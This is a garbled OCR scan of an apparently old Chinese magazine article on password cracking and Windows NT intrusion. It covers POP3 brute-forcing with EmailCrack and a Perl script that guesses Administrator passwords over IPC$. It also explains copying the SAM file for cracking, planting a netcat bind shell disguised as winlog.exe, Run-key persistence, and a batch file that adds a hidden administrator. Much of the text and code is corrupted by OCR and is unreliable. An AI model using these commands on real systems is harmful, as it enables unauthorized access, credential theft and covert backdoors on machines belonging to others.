码 破 解 软件 ICQ Password Revealer 可 以 解决 这 一 难题

ICQ Password Revealer

是 一 个 D0 示 输 入 自己 的 UIN( 图 17), 系统 即 会 找 回

“久违 ”的 ICQ 密码 ,使 用 非常 方便 。

(http: / /www. encrsoft. com/ )。

图 17

六 、 邮 件 信箱 密码

现在 你 去 ISP 处 开户 上 网 , 他 们 一 般 都 会 给 你 一

个 王 -mail 信箱 , 地 址 一 般 是 你 的 帐号 加 上 @

xxx. net/@ xxx. com, 密码 和 你 的 上 网 密码 一 样 。 也 就

是 说 , 只 要 你 能 敲 开 邮 箱 的 密码 就 一 切 OK 了 。 这 样

的 话 运行 那些 密码 破解 软件 , 如 EmailCrack , 配 合 字

典 文件 慢 慢 等 着 ,一 般 破 解 几 十 个 小 时 , 就 可 以 有 所

收获 。

EmailCrack 必须 在 连 线 状 态 下 使 用 , 适用 于 取得

有 邮箱 的 用 户 之 密码 。 前 前 提 是 你 必须 有 一 个 目标 主机

的 帐号 。 它 是 一 个 基于 POP3 协议 的 自动 登录 器 , 它 可

以 利用 POP3 协议 的 功能 , 对 可 能 的 用 户 密码 进行 登

录 试 验 , 从 而 获得 用 户 的 密码 。 它 的 操作 方法 很 简单 ,

我 们 来 试 试 吧 ! 对 了 ,要 运行 EmailCrack ,你 还 必须 有

以 下 几 样 东西 :mfc42. dll, msvcert40. dll 它 是 VC5. 0 的

支持 库 , 看 看 你 的 win95\ system 目录 下 有 没有 , 如 果

没有 ,请 找 一 份 VC 的 光盘 , 直接 拷贝 到 win95 \system

目录 下 就 行 了 。 下 面 我 们 就 开始 吧 。

首先 拨号 上 网 , 连 接 到 Internet 后 , 运 行 Email-

Crack ,出现 主 界面 ,如 图 18 所 示 。

1. 在 “Server address”( 服 务 器 地 址 ) 输入 框 中 输

人 要 连接 的 主机 地 址 ,一般 是 输入 POP3 服务 器 地 址 ,

下 地 址 和 域名 地 址 都 可 以 , 但 为 了 加 快速 度 , 建议 填

下 地 址 , 如 果 不 知道 下 地 址 的 话 , 可 以 用 PING 命令

PINC 一 下 ,就 可 以 获得 主机 的 耳 地 址 。

2, 在

“User list file”

(用 户 名 列表

文件 ) 输入 框

中 直接 输入 用

户 列 表 文 件 所

在 的 盘 符 、 路

径 和 文件 名 ,

或 者 用 鼠标 单

击 “user list

file” 按 钮 , 在

人 “打开 ”对话 框

中 直接 双击 要 选择 的 文件 。

3. 在 “Password list file”( 口 邻 列表 文件 ) 输入 框

中 直接 输入 口令 列表 文件 所 在 的 盘 符 、 路 径 和 文件

名 ,或 者 用 鼠标 单 击 “password list file" 按 钮 ,在 “打开 ”

对 话 框 中 直接 双击 要 选择 的 文件 。 这 里 请 注意 : 用 户

列表 文件 的 格式 是 普通 的 文本 格式 , 要 求 一 行 一 个 用

户 , 不 能 用 主机 上 拉 下 来 的 passwd 文件 直接 使 用 , 必

须 将 passwd 文件 中 的 其 他 信息 除去 后 使 用 。

4.“Try User name”( 用 户 名 尝试 ) 复 选 项 可 以 让

你 决定 程序 是 否 使 用 用 户 的 帐号 作为 密码 登录 。 选 定

此 项 的 话 , 程序 在 测试 中 会 自动 用 用 户 的 帐号 作为 密

码 进行 试验 。 如 果 不 想 试验 用 户 名 的 话 , 可 以 关闭 此

选项 ,在 试验 过 程 中 减少 一 次 登录 试验 ,节省 时 间 。

5. 在 “Thread Number”( 线 程 数目 ) 文本 输入 框

中 ,你 可 以 自己 输入 程序 同时 打开 的 线程 数目 。

一 般 对 于 拨号 上 网 用 户 , 建议 设 定 在 20 - 30 处 ,

但 也 有 使 用 60 个 线程 的 先例 , 使 用 者 可 以 自行 决

和 定 。

切 设 置 好 以 后 , 用 鼠标 单 击 “Begin” 开始 按钮 ,

程序 会 自动 使 用 密码 列表 中 的 密码 测试 每 一 个 帐号 ,

如 果 成 功 , 程序 将 会 把 用 户 名 显示 到 结果 框 中 , 其 中

“Search” 为 已 试 的 个 数 ,“Get” 为 取 到 密码 的 个 数 , 结

果 会 自动 保存 在 文件 Result. txt 中 。

EmailCrack 实际 上 只 是 一 个 按照 输入 参数 进行

机 械 试 验 的 密码 破解 软件 。 不 过 , 这 个 方法 对 于 以 用

户 名 或 简单 数字 .字母 作为 密码 的 用 户 有 效 。

七 .采用 “xx x 类 ?显示 的 密码 S 下 的 命令 行 实用

软件 , 用 户 只 需 在 ICQ 安装 文件 夹 的 NEWDB 子 文件

夹 下 执行 该 文件 ,然后 看 屏幕 提示 。

大 家 都 知道 ,Foxmail 具有 记忆 用 户 邮 箱 密码 的

功能 , 它 可 将 用 户 邮 箱 的 密码 记忆 下 来 , 然后 直接 收

取 邮 件 , 从 而 免 去 了 用 户 手 工 输入 密码 的 繁琐 步骤 。

这 就 存在 一 个 问题 , 那 就 是 用 户 长 时 间 不 接触 密码 之

后 很 容易 将 邮箱 密码 遗忘 , 而 Foxmail 中 记录 的 密码

是 采用 “xx ”显示 的 , 我 们 无 法 直接 进行 查看 (类 似 情

况 非 常 普 遍 ) ,这 该 如 何 解决 呢 ? 别 着 急 , 侠 客 软件 密

码 查看 器 ”可 破解 此 类 密码 ! “侠客 软件 密码 查看 器 ”

是 一 个 专门 用 于 破解 应 用 程序 对 话 框 中 采用 “x“” 显

示 密 码 的 工具 软件 , 它 可 查 出 这 些 密码 的 原始 字符 并

显示 到 用 户 的 面前 。 有 了 它 ,* ”再 也 不 是 一 道 无 法

逾越 的 壕沟 了 !“ 侠 客 软件 密码 查看 器 "的 界面 如 (图

19) 所 示 ,我 们 要 使 用 它 破 解 某 个 密码 ,只 需 先 打开 其

他 应 用 程序 的 密码 设置 对 话 框 〈 即 显示 “x ”的 窗

口 ) ,然后 用 鼠标 将 “侠客 软件 密码 查看 器 "中 的 “侠客

软件 ”图标 拖 到 这 些 应 用 程序 的 “x "密码 上 , 侠 客 软

件 密码 查看 器 ”就 会 将 这 些 “* ”密码 破解 出 来 ,并 将

其 原始 字符 显示 到 “密码 ” 框 中 , 从 而 满足 用 户 的 需

要。 "侠客 软件 密码 查看 器 ”的 下 载 网 址 为 : http: //

Xksoft. yeah. net/ 。

图 19

有 了 上 面 介绍 的 方法 和 工具 , 你 再 也 不 会 因为 生

记 密 码 而 发 愁 了 , 反 过 来 ,你 可 能 又 会 对 自己 的 数据

是 否 安全 而 操心 了 。 其 实 大 可 不 必 紧 张 , 上 述 这 些 密

码 破 解 软件 所 采用 的 破解 方法 主要 还 是 穷 举 法 , 当 密

码 较 长 时 , 运算 量 非常 大 ,而 目前 计算 机 的 运算 速度

还 不 能 满足 穷 举 较 长 密码 的 要 求 , 因此 上 只 要 将 密码

设置 得 足够 长 , 他 人 “ 罕 视 "我们 秘密 的 机 会 并 不 多 ,

密码 最 好 至 少 在 8 位 以 上 , 且 应 是 数字 、 字 母 和 符号

的 组 合 。 还 有 , 为 防止 “侠客 软件 密码 查看 器 "之 类 的

专门 破解 采用 “* x x "显示 密码 的 软件 ,您 最 好 不 要

使 用 软件 的 自动 记忆 密码 功能 , 而 直接 在 需要 时 使 用

手工 输入 密码 。 不 过 ,一 定 要 记 清 了 。 有 了 这 两 招 , 别

一 .Windows NT 破解 之 道

如 果 要 防范 从 远程 对 你 的 Windows NT 的 破解 ,

最 好 的 办 法 还 是 研究 一 下 破解 的 基本 方法 。 只 有 做 到

“知己 知 彼 ”, 才 能 更 好 地 防范 破解 。

1. 通过 NetBIOS 为 破解 做 好 准备

所 有 的 破解 都 涉及 到 以 root 或 admin 权限 登录

到 某 一 计算 机 或 网 络 。 破 解 的 第 一 步 往 往 是 对 目标 计

算 机 的 端口 扫描 (portscan ) 一 一 建立 在 目标 计算 机 开

放 端 口上 的 攻击 是 相当 有 效 的 。NT 机 器 的 端口 信息

的 显示 和 UNIX 的 不 同 。 因 此 , 一 般 能 区 分 出 目标 计

算 机 所 运行 的 是 哪个 操作 系统 。 攻 击 NT 为 基础 的 网

络 时 ,NetBIOS 是 首选 的 进攻 点 。

使 用 端口 扫描 软件 , 比 如 Sam, 看 看 目标 计算 机

的 端口 139 是 否 打 开 。139 端口 是 “NetBIOS session2

端口 , 用 来 进行 文件 和 打印 共享 的 ,是 NT 潜在 的 危

险 。 注 意 : 运行 SAMBA 的 Linux 和 UNIX 系统 的 139

端口 也 是 打开 的 , 提供 类 似 的 文件 共享 。 找 到 了 这 样

的 目标 计算 机 后 , 接 下 来 是 使 用 “NBTSTAT” 命 令 。

NBTSTAT 命令 是 用 来 询问 有 关 NetBIOS 的 信息

的 , 人 也 能 清除 NetBIOS 缓冲 区 内 的 内 容 和 将

LMHOSTS 文件 预先 装 和 人 其 中 。 通 过 运行 这 一 命令 能

得 到 许多 有 用 信息 。

NBTSTAT 命令 图 1

RUTTTED

ACUTED

引 二

解释 :nbtstat [ - a RemoteName] [ -AIP address]

[-c]j[-a][-RILI-oE-S [IT=-s] [interval]

参数 : -a 列 出 给 定 主机 名 的 远程 计算 机 的 名 字

表 (name table) 图 2

人 几 G 呈 让 遇 昌

3,3A

RE

人 SChine

< no9 色 , Ke

站 品 SN

区 着 > 上 5 尽

, 因 过 开 DSS

2

NEQUE 居

GROUP 屠

-ec 列 出 远程 名 字 缓 冲 区 (name cache), 包括 了

地 址 图 4

-ma 列 出 本 地 NetBIOS 名 字 图 5

-T 列 出 通过 广播 (broadcast) 和 WINS 解析 的 名

字 图 6

人 专

3

7

的 将 计 半 证 汪 和 的 的 入 和 和 让 生生 全

RE

2 人

乓 汪汪

RS

RN

党 AR

2 人 眉 |

全 约 生地 人

的 5 光 当

堪 SS 和 5 和 人 守

ER ER 生 生生 次 甫 二 天下 的 我 宙 RE 交

RH

NBTSTAT 命令 输出 的 每 一 栏 都 有 不 同 的 含义 ,

它们 的 标题 有 下 面 儿 个 , 含义 也 在 下 面 做 了 相应 的 解

释 :

input 一 一 接收 到 的 字 节 数 。

Output 一 一 发 送 的 字 节 数 。

In/Ott 这 个 连接 是 来 自 该 计算 机

(outbound ) 还 是 来 自 另 外 的 系统 (inbound)。

Life 在 你 的 计算 机 清除 名 字 表 之 前 存在 时

间 。

Local Name 连接 时 本 地 的 名 字 。

Remote Host 远程 计算 机 的 名 字 或 卫 地 址 。

Type 一 个 名 字 可 以 有 两 种 类 型 : unique 或

group。NetBIOS 名 字 的 最 后 16 个 字符 经 常 代 表 一 些

内 容 。 因 为 同样 的 名 字 可 以 在 同一 计算 机 出 现 几 次 。

该 类 型 表示 名 字 的 最 后 一 个 字 节 (用 16 进 制 表示 )。

State 你 的 NetBIOS 连接 将 是 下 面 几 个 状态

之 一 : State MeaningAccepting 正在 处 理 一 个 进入 的 连

接 ; Associated 一 个 连接 的 端点 已 经 建立 , 你 的 计算 机

与 它 以 一 个 卫 地 址 相关 ; Connected 你 已 经 联系 到 了

远程 资源 。Connecting 你 的 会 话 正 试图 对 目标 资源 进

行 名 字 到 了 瑟 地 址 的 解析 Disconnected 你 的 计算 机 发

出 一 个 断 开 请 求 , 正 在 等 待 远程 计算 机 的 响应 ; Dis-

connecting 正在 结束 你 的 连接

idle 远程 计算 机 的 当前 会 话 已 经 打开 ,但 目前 不

Inbound 一 个 inbound 会 话 正 试图 连接

Listening 远程 计算 机 可 以 使 用 了

Outbound 你 的 会 话 正在 建立 一 个 TCP 连接

Reconnecting 如 果 第 一 次 失败 , 它 会 在 重新 连接

时 显示 这 一 信息

下 面 是 一 个 NBTSTAT 命令 的 实例 :图 10

SRGROUD

UNTQIE 胃

C:\> nbtstat --A x.x.x.x NetBIOS Remote Ma-

chine Name Tabjle .

Name Type 。 Status

DATARAT < 00> UNIQUE Registered

R9LABS < 00> GROUP Registered

DATARAT < 20> UNIQUE Registered

DATARAT < 03> UNIQUE Registered

CHOST < 03> UNIQUE Registered

DATIARAT < 0l1> UNIQUE Registered

MAC Address = 00 -00-00-00-00-00

上 面 的 输出 是 什么 意思 昵 ? 尤其 是 Type 这 一 栏 ,代表 的 是 什么 呢 ? 再 看 看 下 面 的 表 , 它 能 告诉 你 什么 ?

Name Number Type Usage

<_ compiitername> ”00 U Workstation Service

< computermame> “ 01 U Messenger Service

< \\MSBROWSE > 01 GCG Master Browser

< computername> ”03 U Messenger Service

< computername> 06 U 。 RAS Server Service

< computername> 1F U NetDDE Service

< computername> 20 U Hile Server Service

< _ computername> ”21 U RAS Client Service

< computemame> 22 U Exchange Interchange

< computername> ”23 U Exchange Store

< computermname> ”24 吕 了 xchange Directory

< computername> ”30 U “Modem Sharing Server Service

< computername> 31 U ”Modem Sharing Client Service

< computername> ”43 U SSMS Client Remote Control

< _ computername> 44 U SMS Admin Remote Control Tool

< computername> ”45 U 。SMS Client Remote Chat

< computermame> ”46 U SMS Cjlient Remote Transfer

< computername> 4C U “DEC Pathworks TCPIP Service

< _ computermame> 52 U DEC Pathworks TCPIP Service

< computermame> 87 U Exchange MTA

< computername> ”6A U 了 Exchange IMC

< computername> 了 BEE U Network Monitor Agent

< computername> BF U Network Monitor Apps ,

< usermame> 03 U “Messenger Service

< domain> 00 C Domain Name

< domain> 1B U Domain Master Browser

< _ domain> 1C G “Domain Controllers

< _ domain> 1D JU Master Browser

< domain> . ] 卫 C “Browser Service Elections

< INet ~ Services> 1C G internet Information Server

< 了 ~ Computer name> 00 TU Internet Information Server

< computername> [2B] U ELotus Notes Server

岂 六

Na

IRISMULIICAST

[2F] GC Lotus Notes

IRISNAMFESERVER [33] G Lotus Notes

Forte $ND800ZA [20] TU DCA IFmalan

Gateway Service

Unique (U) : 名 字 (name) 可 能 只 分 配 了 一 个 正

地 址 。 在 一 个 网 络 设备 上 , 多 次 出 现 一 个 名 字 已 经 被

注册 ,但 后 缀 是 惟一 的 ,从 而 整个 条 目 就 是 唯一 的 。

Group (G): 普通 的 组 (group), 同一 个 名 字 可 能

存在 多 个 卫 地 址 。

Multihomed (M) : 名 字 (name) 是 惟一 的 ,但 由 于

在 同一 计算 机 上 有 多 个 网 络 接口 , 这 个 配置 在 允许 注

册 时 是 必须 的 。 地 址 的 数目 最 多 25 个 。

Internet Group (TD) : 这 是 组 名 字 的 一 个 特殊 配

置 , 用 于 WinNT 的 域名 的 管理 。

Domain Name (D): NT 4. 0 里 新 增 的 。

这 个 表 是 对 NBTSTAT 输出 中 Type 的 解释 。 通 过

详细 分 析 NBTSTAT 命令 的 和 输出, 就 能 收集 到 目标 计

算 机 的 许多 信息 。 通 过 分 析 , 就 能 发 现 目标 计 算 机 正

在 运行 什么 服务 , 甚 至 可 以 分 析 安 装 的 软件 包 是 什

么 ,从 而 就 能 找到 空隙 利 用 。 下 一 步 就 是 从 远程 计算

机 收集 可 能 的 用 户 名 。 一 个 网 络 登 录 分 成 两 个 部 分 :

用 户 名 和 口令 。 一 且 一 个 破解 者 知道 了 用 户 名 , 他 就

等 于 成 功 了 一 半 。

通过 分 析 NBTSTAT 的 命令 输出 , 破 解 者 就 能 得

到 任何 登录 到 那 台 计算 机 上 的 用 户 名 。 在 NBTSTAT

输出 里 ,类 型 (Type) 为 ”< 03> 的 就 是 用 户 名 或 计算

机 名 。 类 型 (Type) 为 <20> 的 就 表示 它 是 一 个 共享

的 资源 。

2 下 C 的 妙用 一 一 共享 你 的 资源

IPC$ (Inter - Process Communication) 共享 是 NT

计算 机 上 的 一 个 标准 的 隐 含 共享 , 它 是 用 于 服务 器 之

闻 的 通信 的 。NT 计算 机 通过 使 用 这 个 共享 来 和 其 他

的 计算 机 连接 , 得 到 不 同类 型 的 信息 。 破 解 者 常常 利

用 这 一 点 ,通过 使 用 空 的 卫 C 会 话 进行 攻击 。

有 一 个 比较 好 的 IPC 会 话 工具 RedButton。 它 是

个 很 灵巧 的 程序 , 能 登录 到 NT 系统 而 不 会 显示 用 户

名 和 口令 。 这 个 工具 运行 环境 是 NT。 运行 这 个 程序 ,

将 看 到 任何 可 能 的 共享 , 包括 任何 隐藏 的 admin 共享

(ie,shares 以 “和 结束 。 默 认 的 ,有 几 个 这 样 的 可 以 得

到 的 共享 …C$, 双 INNT$,IPC$ 等 等 ) 。

注意 ; ITPC$ 共 享 不 是 一 个 目录 、 磁 盘 或 打印 机 意

义 上 的 共享 。 你 看 到 的 “$”, 它 是 默认 的 在 系统 启动 时

的 admin 共享 。IPC 是 指 “interprocess communica-

tions”。IPC$ 共 享 提供 了 登录 到 系统 的 能 力 。 注 意 ,你

试图 通过 IPC$ 连 接 会 在 EventLog 中 留 下 记录 。 不 管

你 是 否 登录 成 功 。

破解 者 使 用 下 面 的 命令 对 IPC$ 实 施 攻击 :

c: \> net use \\ [目标 机 器 的 耳 地 址 ]\ ipe$ 7/

User: <_ mname> < passwd>

当 这 个 连接 建立 后 ,要 将 usermname 和 password 送

去 加 以 确认 。 如 果 你 以 “Administrator 登录, 则 需要 进

行 口令 猜测 。

可 以 重复 使 用 ' net' 命令 , 进行 username 和 pass-

word 猜测 ;

cy \> net Use \\ XXX. XXX. XXX. XXXN jpc 利 /user: <

name> < passwd>

也 可 以 使 用 脚本 语句

open{(IPC,

user: < name> < passwd>

“net use \\_ XXX. XXX. XXX. XXXN ipc 惠 /

|

NAT 工具 能 自动 完成 上 述 功能 。NAT 是 通过 读

取 字 典 文件 中 的 口令 , 进 行 重复 登录 , 从 而 获取 帐

号 。 当 然 ,可 以 编写 一 个 脚本 来 实现 NAT 的 功能 。Peq

是 一 种 很 好 的 语言 ,是 解释 性 的 , 如 Java, 但 运行 速度

比 Java 快 。 同 时 ,Unix 系统 能 解释 它 。 现 在 ,98 和 NT

版 的 Pea 也 已 经 推出 。 下 面 这 个 脚本 程序 可 以 用 来 进

行 帐 号 和 口令 猜测 。

二 begin script -一 一 一 一

# ipcchk. plx

# 该 脚本 从 一 个 文本 文件 读 人 单词 ,并 将 该 单词

作为 用 户 名 和 口令 ,进行

# IPC$ 连 接 。 成 功 的 连接 保存 到 一 个 log 文件 。 该

脚本 不 检查 输入 参数 的

# 有 效 性 ,因此 必须 输入 目标 机 器 的 合法 的 下 地

址 。

# 用 法 : ec: \> perl ipcchk. plx [目标 机 融 的 下地

址 ]

open(TEST, “names. txt”) | | die“Could not open

file. 2”;

open(LOG, “> > ipc. log”) 11 die“Could not open

log.“”;

让 (length($ARGV[0]) = = 0)

print“Usage: perl ipcchk. plx fipaddr] ”;

exit(0);

$server = ARGV[0O];

while( < TEST> )

$name = 叫 ;

chop ($name);

# print “net use \\\\ $server\\ ipc\ 叫 /user: Ad-

Iministrator 丰 iname | \n2”;

open(IPC,“net use \\\\ $server\\ ipc\ 下 /user:

Administrator $name [ ”);

while( < 了 PC> )

这 (grep(/successfully/, 叫 ) )

print LOG “万 server accepts connections for pass-

Word $name \n”;

# delete a successful connection to avoid mnultiple

connections to

# bhe same machine

open( DEL,“net use \\\\ $server\\ ipec\ 和 《dl

下 );

}

}

--- 一 -一 endscrpt -一 -一

当然 , 你 只 要 知道 原理 , 可 以 用 C 语言 或 BASIC

语言 ,编写 一 个 具有 上 述 功能 的 程序 。 一 旦 进入 ,就 不

仅仅 是 能 够 收集 用 户 名 了 , 还 能 做 许多 其 他 事情 。 接

下 来 ,破解 者 会 试图 看 看 目标 计算 机 上 有 哪些 共享 的

资源 可 以 利用 。 可 以 使 用 下 面 一 个 命令 ;

c: \> net view \\[ 目标 计算 机 的 下 地 址 ]

根据 目标 计算 机 的 安全 策略 , 这 个 命令 有 可 能 被

拒绝 。 看 看 下 面 的 例子 :

C: \> net View \\ 0. 0. 0. 0System error 5 has oc-

curred. Access is denied.

C:\> net use \0.0.0.0\ipc$“”/Luser: The

command _ completed successfully. C: \> net view \\

0. 0. 0.0

Shared resources at \\0. 0. 0.0

Share name Type Used as Comment

”Accejerator Disk Agent Accelerator share for Sea-

gate backup

Inetpub Disk

mirc Disk

NEILOCON Disk Logon server share

Www_pages Disk

该 命令 顺利 地 完成 了 。

从 上 面 的 例子 可 见 , 直 到 空 IPC 会 话 成 功 建立

后 ,服务 器 的 共享 资源 列表 才能 访问 到 。 在 此 时 ,你 可

能 会 想到 , 这 样 的 正 C 连接 会 有 多 危险 呢 ? 但 目前 为

止 , 我 们 的 了 PC 知识 还 是 很 基本 的 。 我 们 仅仅 开始 研

究 PC 共享 的 可 能 性 。 如 果 有 其 他 共享 资源 , 可 以 用

net 命令 进行 连接 。

c: \> net use xX: \\[ipaddr]\[share]

如 果 不 行 ,用 上 述 进行 的 攻击 方法 。 一 且 IPC# 共

享 顺利 完成 ,下 一 个 命令 是 :

cl: \> net Use g: \VCX. XXX XXX XXX VC 种

得 到 了 C$ 共 享 ,并 将 该 目录 有 映射 到 g: ,键入 :

c:\> dir g: /P

就 能 显示 这 个 目录 的 所 有 内 容 。 成 功 地 进行 了

PC$ 连 接 后 , 点 击 Start 一 Run, 键 人 regedit。 选 择

Registry 一 Connect Network Registry , 再 键 人 那 台 机 器

的 卫 地 址 。 不 一 会 ,就 能 看 目标 计算 机 的 的 Registry

附录 : net 命令 注解 , 通过 上 面 的 介绍 , 可 以 发 现

net 命令 是 相当 强大 的 。 下 面 对 这 一 命令 的 使 用 做 简

单 的 注解 。 具 体 使 用 时 ,参见 相应 的 帮助 。

Net Accounts: 这 个 命令 显示 当前 的 口令 的 一 些

设置 , 登录 的 限定 和 域 的 信息 。 包 括 更 新 用 户 帐 号 数

据 库 和 修改 口令 及 登录 需求 的 选项 。

Net Computer: 在 域 数据 库 里 增加 或 删除 计算

机 。Net Config Server 或 Net Config Workstation: 显示 服

务 器 服务 的 配置 信息 。 如 果 没 有 指定 Server 或 者

Workstation , 这 个 命令 显示 可 以 配置 的 服务 的 列表 。

Net Continue: 重新 激活 被 NET PAUSE 命令 挂 起

的 NT 服务 。

Net File: 这 个 命令 列 出 一 个 服务 器 上 打开 的 文

件 。 有 一 个 关闭 共享 文件 和 解除 文件 锁定 的 选项 。

Net Group : 显示 组 的 名 字 的 相关 信息 ,并 有 一 个

选项 ,可 以 在 服务 器 里 增加 或 修改 global 组 。

Net Help:; 得 到 这 些 命令 的 帮助

Net Helpinsg 0 得 到 一 个 指定 的 net error 或 功

能 消息 (funetion essage) 的 帮助 。Net Localgroup : 列 出

服务 器 上 的 本 地 组 (local group) ,可 以 修改 这 些 组 -Net

Name: 显示 发 往 的 计算 机 的 名 字 和 用 户 。Net Pause:

将 某 个 NT 服务 挂 起 。

Net Print: 显示 打印 任务 和 共享 队列 。

Net Send: 给 其 他 用 户 , 计 算 机 发 送 消息 或 在 网

络 上 的 消息 名 字 。

Net Session: 显示 当前 会 话 的 信息 。 还 包含 一 个

终止 当前 会 话 的 命令 。

Net Share: 列 出 一 个 计算 机 上 的 所 有 共享 资源 的

信息 。 这 个 命令 也 可 以 用 来 创建 共享 资源 。

Net Statistics Server 或 双 orkstation: 显示 统计 记

录 。

Net Stop : 停止 NT 的 服务 ,取消 任何 正在 使 用 的

连接 。 停 止 一 个 服务 有 可 能 会 停止 其 他 服务 。

Net Time: 显示 或 设置 一 个 计算 机 或 域 的 时 间 。

Net Use: 列 出 连接 上 的 计算 机 ,有 连接 或 断 开 共

享 资源 的 选项 。

Net User: 列 出 计算 机 的 用 户 帐 号 , 并 有 创建 或

. 修改 帐号 的 选项 。

Net View: 列 出 一 台 计算 机 上 的 所 有 共享 资源 。

包括 netware 服务 。

二 .日 令 破解

如 果 破 解 者 进入 了 一 个 系统 , 他 就 可 以 干 好 几 件

事 , 比如 进行 密码 破解 .下面 我 们 来 看 一 下 在 NT 系统

下 是 如 何 进 行 这 些 工 作 的 。NT 将 用 户 的 口令 放 在

SAM(Security Accounts Manager) 文件 中 , 但 通常 不 能

对 这 个 文件 进行 存 取 。 不 过 , 在 c: \winnt \repair 目录

下 ,有 一 个 文件 叫做 SAM, -。 这 是 SAM 数据 库 的 压缩

版 本 。 它 是 在 系统 安装 时 建立 的 ,用 rqisk 工具 运行 更

新 ; 普通 用 户 有 读 它 的 权限 。 一 旦 破解 者 能 和 目标 计

算 机 进行 C# 共 享 连接 ,他 就 能 拷贝 到 这 个 文件 :

c: \> copy g: \winnt \repair\sam. _

下 面 做 个 实验 。 先 用 User Manager 创建 几 个 容易

猜 的 口令 的 帐号 ,并 运行 :

c:\> rdisk /s

作 完 之 后 , 进入 ce:\winnt \repair 目录 , 将 SAM._

拷贝 到 另 一 个 目录 。 并 键 人 :

c: \temp> expand SAM. _sam .

然后 , 使 用 一 个 叫 SAMDump 的 工具 。SAMDump

会 将 这 个 文件 转换 成 你 能 使 用 的 格式 。

c: Mtemp> samdump sam > samfile

接 下 来 就 可 以 运行 口令 NT 密码 破解 器 , 如

10phterack 或 NTCrack 。 只 要 有 足够 的 时 间 ,刚才 创建

的 几 个 口令 就 会 被 破解 出 来 。

三 、 破 解 者 的 手段 一 一 后 门 乞 术

破解 者 在 冰 人 目标 计算 机 后 , 往往 会 留 后 门 , 以

便 日 后 再 方便 地 回 到 目标 计算 机 上 。netcat 是 一 个 命

令 行 工 具 , 有 几 个 运行 开关 ,用 来 设置 它 的 操作 。 如 果

设置 得 好 的 话 , 是 不 错 的 一 个 后 门 的 选择 。 可 以 将 它

配置 成 批 处 理 文件 。

nc -~L -dd -pf[port] -t -ecmd.exe

EL 让 netcat 在 当前 会 话 结束 后 保持 侦 听

d 运行 时 不 打开 一 个 windows 的 DOS 窗口

p 捆绑 的 端口

t 允许 telnet 交互

e 连接 后 的 操作

将 这 个 命令 行 拷贝 到 一 个 文件 , 命 名 为 run-

nc. bat。 然后 ,将 netcat 和 这 个 文件 拷贝 到 目标 计算 机

PATH 变量 中 的 任何 一 个 目录 中 。 比 如 ec: \winnt \sys-

tem32\。

另外 一 个 小 技巧 是 重新 命名 netcat(nc. exe) 为 其

他 的 名 字 , 看 上 去 让 人 以 为 这 是 NT 自身 的 文件 ,比如

winlog. exe, 在 runnc. bat 中 只 须 做 相应 改动 即 可 。 一

且 这 个 批 处理 文 件 运行 了 ,也 就 是 说 ,netcat 程序 在 目

标 计 算 机 上 和 运行 后 ,netcat 会 在 某 一 个 端口 侦 听 。 破 解

者 就 可 以 通过 Telnet 进行 连接 , 从 而 通过 执行

cmd, exe, 就 能 在 远程 运行 目标 计算 机 上 的 命令 了 。 或

者 使 用 客户 状态 模式 的 netcat:

c: \> ne -YY [ipaddress of target] [port]

如 果 是 在 目标 计算 机 上 的 NT 没有 运行 telnet 服

务 器 ,可 以 使 用 另 一 个 更 好 的 服务 ,叫做 Schedule (或

AT) 服务 , 用 于 计划 以 后 运行 程序 的 时 间 。 怎 样 知 道

是 否 已 经 运行 了 AT 服务 器 了 ? 在 控制 面板 的 服务

(Control Panel 一 Services) 里 找 找 , 看 看 它 的 运行 状

态 。 如 果 安 装 了 Pen ,可 以 运行 下 面 这 个 脚本 。

-一 一 一 - begin script - -一 -一

# atchk. plx

# 该 脚本 用 来 检查 本 地 服务 器 是 否 正在 运行 AT

服务 。 如 果 没 有 ,启动

# 这 个 服务 。 对 这 个 脚本 做 写 小 改动 , 就 可 以 应

用 到 对 远程 计算 机 的 检

# 查 。 只 要 已 经 成 功 建立 了 IPC$ 连 接 并 有 ad-

minjstrator 权限 即 可 。

##

# 用 法 :perl atehck. plx

use Win32 : ;Service;

use Win32;

my 9 status;

Win32: , Service: : GetStatus(””,,' Schedule ,\%

status ) ;

die “service is arealdy started\ n” 让 (名 status

{CurrentState} = = 4);

Win32, ,Service: : StartService(Win32: :NodeName

( ),, "Schedule ) 11 die

“Can?t start service \n”;

print“Service started \a ”;

# 火 火 Note: This script was modified from:

# http : / /www. inforoute. cgs. 他 /jeberrel7

perlser. htm

-一 ~- 一 一 end script -一 -一 一

破解 者 只 要 拥有 管理 员 级 权限 , 就 能 运行 AT 命

令 。 运 行 AT 服务 后 ,可 以 通过 AT 命令 来 执行 一 些 操

作 。

AT 的 语法 :

AT [\\computername] [time]“command”

比如 ;

AT [\\computername] [time] runnc. bat

可 以 在 目标 计算 机 NT 系统 注册 表 的 以 下 reg-

istry 主键 中 设置 相关 的 键 值 , 从 而 在 用 户 登录 后 能 自

动 运行 键 值 所 指向 的 程序 。

HKEY LOCAL MACHINE\ Software\ Microsoft'

Windows \CurrentVersion \Run

HKEY LOCAL MACHINE\ Software\ Microsoft

Windows \CurrentVersion \RunServices

HKEY_ CURRENT_ USER\Software\Microsoft\Win-

dows \CurrentVersion Run

还 可 以 使 用 NT 命令 创建 一 个 新 的 用 户 帐号 , 并

将 它 设 置 为 管理 员 级 别 的 权限 。 如 下 面 的 批 处 理 文件

所 示 。

----- -hbegnbatchfile -- -一

@ echo o 妊

net user Admin /add /expires : never /passwor-

dred :no

net localgroup“Administrators”/add Admin

net localgroup“Users”/del Admin

-一 一 -一 end batch file - 一 一 -一

还 有 就 是 运行 一 些 特洛伊 程序 , 给 破解 者 留 后

门 。 有 一 个 叫 Netbus 程序 。 它 的 功能 与 Back Orifice 类

似 , 不 过 可 以 在 NT 运行。 一旦 破解 者 使 用 了 这 个 程

序 , 就 可 以 在 任何 时 候 , 任何 地 点 ,对 这 人 台 目 标 计算 机

进行 几乎 是 随心 所 和 欲 的 操作 。

四 、 可 恨 的 黑手 一 一 车 地 攻击

以 上 讲 的 是 外 部 破解 者 对 目标 计算 机 进行 的 攻

击 。 其 实 , 攻 击 往往 可 以 是 来 自 内 部 的 。 如 果 破 解 者 有

本 地 NT 计算 机 的 使 用 权限 , 即 使 是 一 个 普通 权限 的

用 户 , 都 可 以 用 一 些 工具 来 攻击 本 地 的 机 器 , 从 而 得

到 一 定 收获 。 比 如 提高 自己 的 权限 , 越权 使 用 本 地 机

器 的 资源 等 等 。 一 个 比较 常用 的 工具 是 getadmin。 这

个 工具 由 一 个 可 运行 文件 和 一 个 . d 文件 组 成 。 通 过

运行 , 能 将 用 户 加 到 Administrator 组 。 微 软 已 经 有 了

对 这 个 缺陷 的 补丁 程序 。 另 一 个 类 似 的 是 sec-

